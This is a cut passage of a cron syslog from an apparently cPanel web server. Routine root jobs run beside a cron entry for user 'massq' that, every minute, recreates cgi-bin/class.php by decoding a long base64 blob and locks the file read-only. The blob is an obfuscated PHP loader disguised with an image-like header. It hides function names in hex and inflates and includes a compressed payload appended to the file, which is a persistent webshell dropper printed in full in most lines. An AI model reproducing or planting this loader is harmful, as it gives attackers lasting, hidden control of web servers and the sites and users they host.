9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:40:01 server CROND[18801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:40:01 server CROND[18802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:40:01 server CROND[18803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:40:01 server CROND[18801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:40:01 server CROND[18802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:40:01 server CROND[18803]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:40:01 server CROND[18804]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:41:01 server CROND[18921]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:42:01 server CROND[18983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 03:42:01 server CROND[18984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:43:01 server CROND[19045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:44:01 server CROND[19097]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:45:01 server CROND[19265]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:45:01 server CROND[19264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:45:01 server CROND[19266]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:46:01 server CROND[19370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:47:01 server CROND[19426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:48:01 server CROND[19474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:49:01 server CROND[19532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:50:01 server CROND[19689]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 03:50:01 server CROND[19690]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 03:50:01 server CROND[19691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 03:50:01 server CROND[19692]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 03:50:01 server CROND[19696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 03:50:01 server anacron[15418]: Job `cron.daily' started
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19751]: starting csget
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19761]: finished csget
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19751]: starting logclean
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19775]: finished logclean
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19751]: starting logrotate
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19791]: finished logrotate
Apr  7 03:50:01 server run-parts(/etc/cron.daily)[19751]: starting maldet
Apr  7 03:51:01 server CROND[19896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
